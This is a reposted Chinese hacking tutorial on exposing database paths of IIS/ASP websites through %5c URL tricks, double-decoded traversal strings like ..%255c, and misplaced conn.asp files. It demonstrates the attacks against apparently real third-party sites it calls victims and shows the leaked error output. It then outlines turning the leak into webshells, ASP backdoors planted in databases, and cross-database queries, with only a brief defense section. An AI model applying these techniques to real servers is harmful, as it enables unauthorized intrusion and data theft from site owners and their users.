對暴庫的一點認識

來源:互聯網
上載者:User

來源:邪惡八進位安全小組

去年的時候曾經有一段時間研究過ie雙解碼,所以對暴庫有一定的認識,前些天終於收到駭客的雜誌,
裡面看了一篇臨的文章,下面我也談談個人對那篇文章的認識,這裡要說的是,大家如果再深入點研
究下去,就會發現,暴庫的利用不只是這麼簡單,還會有更多可以用的東東。
暴庫的方式有多種多樣,我知道的就有3種以上,常見的暴的方法有:%5c類暴,conn.asp暴,ddos暴等等.
這篇文章我主要講%5c和conn.asp暴.
可以說,這篇是對臨國越南首相寫的文章的補充.

1.%5c暴法
下面我們先用肉雞來試一下
http://www.yianxin.com/e-market/bbs/select.asp
暴:
http://www.yianxin.com/e-market/bbs%5cselect.asp
返回資訊如下:
microsoft jet database engine 錯誤 '80004005'

'd:/www/yianxin.comgr7shg3l26/e-market/data/yianxinlzn.asp'不是一個有效路徑。 確定路徑名稱拼字是否正確,以及是否串連到檔案存放的伺服器。

/e-market/bbs/conn.asp,行3

我們來看一下真實路徑和暴出的路徑
d:/www/yianxin.comgr7shg3l26/e-market/data/yianxinlzn.asp     暴出的路徑
d:/www/yianxin.comgr7shg3l26/e-market/bbs/data/yianxinlzn.asp   真實的路徑
對比後我們發現暴出來的少了一個bbs
這裡我們還發現%5c就相當於一個休止符返回的路徑就變成
絕對路徑+%5c後面的內容
我們再來看一下對暴不出來的分析
肉雞: http://www.guilin.com.cn/renrenbbs/body.asp?id=516
暴url: http://www.guilin.com.cn/renrenbbs%5cbody.asp?id=516
返回內容三所示

此主題相關圖片如下:

肉雞: http://www.jijiahao.com/guest/default.asp
暴url: http://www.jijiahao.com/guest%5cdefault.asp
返回內容四所示

此主題相關圖片如下:

我們再來分析一下成功與失敗的原因:
http://www.yianxin.com/e-market/bbs%5cselect.asp
會暴成功庫,我們開啟select.asp我們會發現裡面
<!--#include file="conn.asp"-->
<!--#include file="pageset.asp"-->
<!--#include file="lock.asp"-->
<!--#include file="css.asp"-->
也就是說有調用到其它檔案
所以當你用%5c時,返迴路徑也就變成了
絕對路徑+%5c後面的select.asp,select.asp又調用到路徑庫data/renren.asp
所以返回的路徑就變成了
絕對路徑+路據庫路徑,而在絕對路徑和路據庫路徑,我們知道有guest這個目錄,
這個時候因為絕對路徑+路據庫路徑不存在(絕對路徑+guest+路據庫路徑才存在)
所以也就返回了,我們所看到的出錯資訊。
現在再來分析一下失敗的原因:
我個人認為是因為iis雙解碼的原因,
例如,對於'/'這個字元,正常編碼後是%5c。這三個字元對應的編碼為:
'%' = %25
'5' = %35
'c' = %63

如果要對這三個字元再做一次編碼,就可以有多種形式,例如:
%255c
%%35c
%%35%63
%25%35%63
...

因此,"../"就可以表示成"..%255c"或"..%%35c"等等形式。

在經過第一次解碼之後,變成"..%5c"。iis會認為這是一個正常的字串,不會違反安全規則檢查。而在第二次被解碼之後,就會變成"../"。因此攻擊者就可以使用"../"來進行目錄遍曆,執行web目錄之外的任意程式。

詳細的大家可以看下面的資料參考

我們再來分析圖三和圖四失敗的原因就會發現,他可能解析成../,通過圖的比較可以分析出來,
難道這時就暴不出來了嗎,當然不是,這要我們精心構造。
下面還會分析到。

下面我們來糾正一下網上常見的錯誤觀點。
1.不一定要asp?id=的才可以暴,只要有調用其它有檔案就有可能暴
2.不一定是access,也可以是mssql,我就成功過,下面大總結的時候就會分析到只要是iis就有可能成功
3.不一定要調用到資料庫,因為%5c的關鍵是調用,而不是一定是資料庫.
4.理論上講,根目錄通過精心構造是可以暴的,但有些人說的通過..%5c的卻一定暴不出來,因為返回是
取%5c後面的與前面的無關
5.並不是說多層目錄就暴的成功率就高,%5c能否成功關鍵是看系統怎麼解析,另外我個人覺得能否暴出
與程式無關,更多的與系統有關,不信大家去百度找同一板本的人人留言板,你就會發現有的可以暴
出來,有的卻暴不了出來。
好了,上面是對%5c暴庫的初步瞭解

2.conn.asp暴
conn.asp暴可以說,與系統無關,是因為目錄的關係。
我用netbox架設同樣可以暴,而%5c是iis解碼錯誤,有那個漏洞的一定是windows系統.
同樣,我們還是通過比較來說明問題
肉雞:http://192.168.0.55/ren/
暴1 : http://192.168.0.55/ren/images/conn.asp
暴2 : http://192.168.0.55/ren/conn.asp
其中暴1裡面的conn.asp是從暴2裡面複製過去的
返回內容:
暴1:
microsoft jet database engine '80004005'

'c:/documents and settings/xiaoqiu/案頭/wwwroot/ren/images/data/renren.asp'不是一個有效路徑。 確定路徑名稱拼字是否正確,以及是否串連到檔案存放的伺服器。

/wwwroot/ren/images/conn.asp, line 3

暴2:
全是白白。
再來分析為什麼conn.asp可以暴出來
conn.asp代碼如下:
<%
set conn=server.createobject("adodb.connection")
conn.open="provider=microsoft.jet.oledb.4.0;data source="&server.mappath("data/renren.asp")
set rs=server.createobject("adodb.recordset")
function connclose
conn.close
set conn = nothing
end function
function errmsg(message)
session("err")=message
response.redirect"err.asp"
end function
%>
其中最重要的是
set conn=server.createobject("adodb.connection")
conn.open="provider=microsoft.jet.oledb.4.0;data source="&server.mappath("data/renren.asp")
這兩句,這兩句也是能暴出的關鍵.
我們再來先看暴出的路徑和真實路徑的差別
c:/documents and settings/xiaoqiu/案頭/wwwroot/ren/images/data/renren.asp 暴出的路徑
c:/documents and settings/xiaoqiu/案頭/wwwroot/ren/data/renren.asp     真實的路徑
我們會發現多了一個images,這是因為,conn.asp的返迴路徑是
絕對路徑+conn.asp前的+conn.asp串連的資料庫路徑
像上面的就等於絕對路徑c:/documents and settings/xiaoqiu/案頭/wwwroot+conn.asp前面的ren/images+
data/renren.asp也就是資料庫路徑,合起來就是
c:/documents and settings/xiaoqiu/案頭/wwwroot/+ren/images/+data/renren.asp
不同串連文法返迴路徑不一定一樣,但是上面的串連語句返回的卻一定是絕對路徑
下面我們再來驗證一下我們的正確性,把下面的內容儲存為任何一個經過asp.dll解析過擴充的檔案,如
linzi.asp,linzi.cdx等等,代碼內容如下:
<%
set conn=server.createobject("adodb.connection")
conn.open="provider=microsoft.jet.oledb.4.0;data source="&server.mappath("data/renren.asp")
%>
這個時候你把他放在任何一個目錄,只要不是ren目錄裡,也就是留言簿的根目錄,都可以暴出絕對路徑,
這個時候你可能會問,難道根目錄就暴不出了嗎?答案是可以暴出來。你把上面代碼裡的
data/renren.asp改成任何一個不存在的目錄或檔案,也同樣可以暴出來,例如,我改成
data123/renren.asp,因為data123不存在,所以就暴了出來,返回內容如下

microsoft jet database engine '80004005'

'c:/documents and settings/xiaoqiu/案頭/wwwroot/ren/data123/renren.asp'不是一個有效路徑。 確定路徑名稱拼字是否正確,以及是否串連到檔案存放的伺服器。

/wwwroot/ren/2.asp, line 3
我們還可以發現,並沒有少目錄,只不過目錄出錯,經過一大堆的測試,我個人總結出conn.asp暴成功的
原因以及對網上一些錯誤觀點的個人看法:
1.要暴不一定要調用到資料庫,但是要暴庫,一定要調到到資料庫或與資料庫有關的檔案。
2.不一定conn.asp才可以暴,只要有調用其它檔案,造成目錄錯誤的都可以報,如動力的除了inc/conn.asp
外,放在inc裡面的其它檔案同樣也可以暴。
3.總結conn.asp的暴原因是你返回的目錄和真實的目錄不一定,或者也可以說是不存在。

3.暴的簡單利用:
1.下載資料庫進後台找上傳點,然後得到webshell
2.往資料庫裡面插入asp小馬,詳細的可以參考angel的文章《把mdb改成asp帶來的災難》
3.access跨庫查詢
如語句:
select count(*) from dv_admin in 'd:/www/data/dvbbs7.mdb'
4.注入時的利用,如mssql backup a shell
5.繞過後台驗證,詳細的可以見我收集的暴庫文摘

好了,就這麼些吧,上面可以說只是暴後攻擊的冰山一角,當你再深入下去,你會發現還有更恐怖
的東西在後面,2k+sp4有人利用雙解碼成功了,這也只是一角。
還有這裡要說一下的是,有的人說用asp.dll解析mdb用來防下載,事實上稍微不笨的人,就會發現這是
一種愚蠢的做法,當你用asp.dll解析mdb後,你把newmmm.asp改成newmm.mdb上傳後,就相當於一個
newmm.asp,因為asp.dll解析過的擴充只要裡面有asp語句就會被執行,這和cer,cdx等,一個道理.
我個人認為防下載的最好方法是往資料庫裡加入防下載表段<% zhenzhen520 <%,只要插入這個就可以
防下載了,懂點asp的人都知道,<% zhenzhen520 <%放到資料庫裡,一定會發生語法錯誤,因為沒有%>
結束符,當然你可以說,可以注是,事實上,注是是不可能的事,除非你得到了shell,修改資料庫,否
則你就別想了,因為就算讓你加上了兩個%>結束符,但是因為<%%>裡面的東西不滿足asp文法,也會發生
500錯誤。不信?要不你試試動網,動網的資料庫就是這樣。

4.防範:
1.最好的辦法臨在文章裡也說過了,就是屏所有的出錯。
2.加容錯語句,不過要注意的是,你加了容錯,只能是你加的那個檔案暴不出來,但並不代表,其它檔案
暴不出來。
3.把資料庫在非相對路徑下,例如:你本來的路據庫路徑是:c:/www/data/dvbbs.asp,這時你可以把數
據庫改放在c:/裡,這樣就下載不到資料庫。
好了,防的方法就說到這裡了。因為我說的都是廢話,大家都看過的.

5.%5c暴與conn.asp總結:
可以說%5c暴是因為調用檔案出錯,而conn.asp暴是因為返回的路徑出錯或不存在。

6.conn.asp與%5c的結合:
可以說如何構造是入侵時能不能暴出的關鍵。
現在我們假設,guest目錄放在c:/www/下,而conn.asp放在c:/www/guest/conn.asp,直接調用
http://192.168.0.13/guest/conn.asp不會報錯,因為返迴路徑是正確的,通過上面的,我們可以知道
conn.asp暴是因為返迴路不存在。現在我們對比一下%5c和conn.asp的不同返迴路徑
1.%5c     : 絕對路徑+%5c後面的內容
2.conn.asp : 絕對路徑+conn.asp前面的相對路徑+conn.asp調用的資料庫路徑
兩者結合起來,假設http://192.168.1.13/guest%5ccoonn.asp
那麼返迴路徑也就變成了
絕對路徑+conn.asp,但實際在入侵之時,我們會發現有的時候並不是,這個時候大家別忘了雙解碼
好了,我只提出思路,實際的入侵方法,我想你可能已經想到。
大家如果有疑問可以到混盟或者發e-mail給我

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.